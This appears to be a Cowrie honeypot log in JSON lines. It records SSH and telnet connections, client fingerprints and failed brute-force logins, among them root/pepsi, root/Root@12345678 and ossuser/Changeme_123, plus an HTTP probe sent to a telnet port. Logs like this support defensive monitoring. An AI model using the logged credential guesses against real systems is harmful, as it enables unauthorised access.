{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:24.391827Z","src_ip":"94.159.110.201","session":"9a6161104b78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"magazin","message":"login attempt [root/magazin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:24.751681Z","src_ip":"94.159.110.201","session":"9a6161104b78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:25.874788Z","src_ip":"94.159.110.201","session":"9a6161104b78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":43372,"dst_ip":"10.17.0.5","dst_port":22,"session":"37b84e97b090","protocol":"ssh","message":"New connection: 194.113.233.25:43372 (10.17.0.5:22) [session: 37b84e97b090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:27.750841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:27.755953Z","src_ip":"194.113.233.25","session":"37b84e97b090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:27.849520Z","src_ip":"194.113.233.25","session":"37b84e97b090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pepsi","message":"login attempt [root/pepsi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:28.130999Z","src_ip":"194.113.233.25","session":"37b84e97b090","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.156.21","src_port":50642,"dst_ip":"10.17.0.5","dst_port":22,"session":"a796e7e2f8da","protocol":"ssh","message":"New connection: 101.47.156.21:50642 (10.17.0.5:22) [session: a796e7e2f8da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:28.198349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:28.202766Z","src_ip":"101.47.156.21","session":"a796e7e2f8da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:28.448972Z","src_ip":"101.47.156.21","session":"a796e7e2f8da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:29.228934Z","src_ip":"194.113.233.25","session":"37b84e97b090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:29.469750Z","src_ip":"101.47.156.21","session":"a796e7e2f8da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:30.719581Z","src_ip":"101.47.156.21","session":"a796e7e2f8da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.71993374824524,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:35.405354Z","src_ip":"69.4.83.194","session":"89c8221ebb72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":53996,"dst_ip":"159.203.135.109","dst_port":23,"session":"e74b6835f2f9","protocol":"telnet","message":"New connection: 69.4.83.194:53996 (159.203.135.109:23) [session: e74b6835f2f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:37.645480Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":40648,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b7a6fabc6a1","protocol":"ssh","message":"New connection: 20.160.86.7:40648 (10.17.0.5:22) [session: 3b7a6fabc6a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:39.581462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:39.586361Z","src_ip":"20.160.86.7","session":"3b7a6fabc6a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:39.670378Z","src_ip":"20.160.86.7","session":"3b7a6fabc6a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$1234qwer","message":"login attempt [root/!@#$1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:40.037435Z","src_ip":"20.160.86.7","session":"3b7a6fabc6a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:41.124563Z","src_ip":"20.160.86.7","session":"3b7a6fabc6a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":40975,"dst_ip":"10.17.0.5","dst_port":22,"session":"7837cbd03f04","protocol":"ssh","message":"New connection: 88.147.30.59:40975 (10.17.0.5:22) [session: 7837cbd03f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:53.427994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:53.433929Z","src_ip":"88.147.30.59","session":"7837cbd03f04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:53.550525Z","src_ip":"88.147.30.59","session":"7837cbd03f04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"gitpass","message":"login attempt [git/gitpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:54.038645Z","src_ip":"88.147.30.59","session":"7837cbd03f04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":72.9879879951477,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:54.986534Z","src_ip":"178.128.93.180","session":"5492fe21e5e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:55.158903Z","src_ip":"88.147.30.59","session":"7837cbd03f04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.209.58","src_port":57560,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e74088b145e","protocol":"ssh","message":"New connection: 123.58.209.58:57560 (159.203.135.109:22) [session: 0e74088b145e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:58.074513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:58.079887Z","src_ip":"123.58.209.58","session":"0e74088b145e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:58.301859Z","src_ip":"123.58.209.58","session":"0e74088b145e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:43:59.206553Z","src_ip":"123.58.209.58","session":"0e74088b145e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:00.428811Z","src_ip":"123.58.209.58","session":"0e74088b145e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":47324,"dst_ip":"159.203.135.109","dst_port":23,"session":"56c9530e8a73","protocol":"telnet","message":"New connection: 79.139.59.21:47324 (159.203.135.109:23) [session: 56c9530e8a73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:03.771069Z"}
{"eventid":"cowrie.session.closed","duration":34.67493224143982,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:12.320293Z","src_ip":"69.4.83.194","session":"e74b6835f2f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":10134,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f139d811c06","protocol":"telnet","message":"New connection: 35.233.27.212:10134 (159.203.135.109:23) [session: 4f139d811c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:16.137094Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":10148,"dst_ip":"159.203.135.109","dst_port":23,"session":"6825ee005b94","protocol":"telnet","message":"New connection: 35.233.27.212:10148 (159.203.135.109:23) [session: 6825ee005b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:16.293351Z"}
{"eventid":"cowrie.session.closed","duration":0.006531953811645508,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:16.299740Z","src_ip":"35.233.27.212","session":"6825ee005b94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":10158,"dst_ip":"159.203.135.109","dst_port":23,"session":"b89bea193a15","protocol":"telnet","message":"New connection: 35.233.27.212:10158 (159.203.135.109:23) [session: b89bea193a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:16.450918Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.191.77.164","src_port":49426,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e546ea7b995","protocol":"ssh","message":"New connection: 182.191.77.164:49426 (10.17.0.5:22) [session: 9e546ea7b995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:18.405324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:18.410686Z","src_ip":"182.191.77.164","session":"9e546ea7b995","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:18.645530Z","src_ip":"182.191.77.164","session":"9e546ea7b995","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@12345678","message":"login attempt [root/Root@12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:19.612249Z","src_ip":"182.191.77.164","session":"9e546ea7b995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:20.850775Z","src_ip":"182.191.77.164","session":"9e546ea7b995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.813125133514404,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:26.950044Z","src_ip":"35.233.27.212","session":"4f139d811c06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45970,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f88d6d0e0b3","protocol":"telnet","message":"New connection: 69.4.83.194:45970 (159.203.135.109:23) [session: 6f88d6d0e0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:31.481978Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":50938,"dst_ip":"10.17.0.5","dst_port":23,"session":"a96c4877a7a9","protocol":"telnet","message":"New connection: 178.128.93.180:50938 (10.17.0.5:23) [session: a96c4877a7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:33.112712Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.233.27.212","src_port":19448,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffa00e05268c","protocol":"telnet","message":"New connection: 35.233.27.212:19448 (159.203.135.109:23) [session: ffa00e05268c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:35.613323Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:35.619511Z","src_ip":"35.233.27.212","session":"ffa00e05268c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:35.623776Z","src_ip":"35.233.27.212","session":"ffa00e05268c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09221577644348145,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:44:35.705424Z","src_ip":"35.233.27.212","session":"ffa00e05268c","protocol":"telnet"}
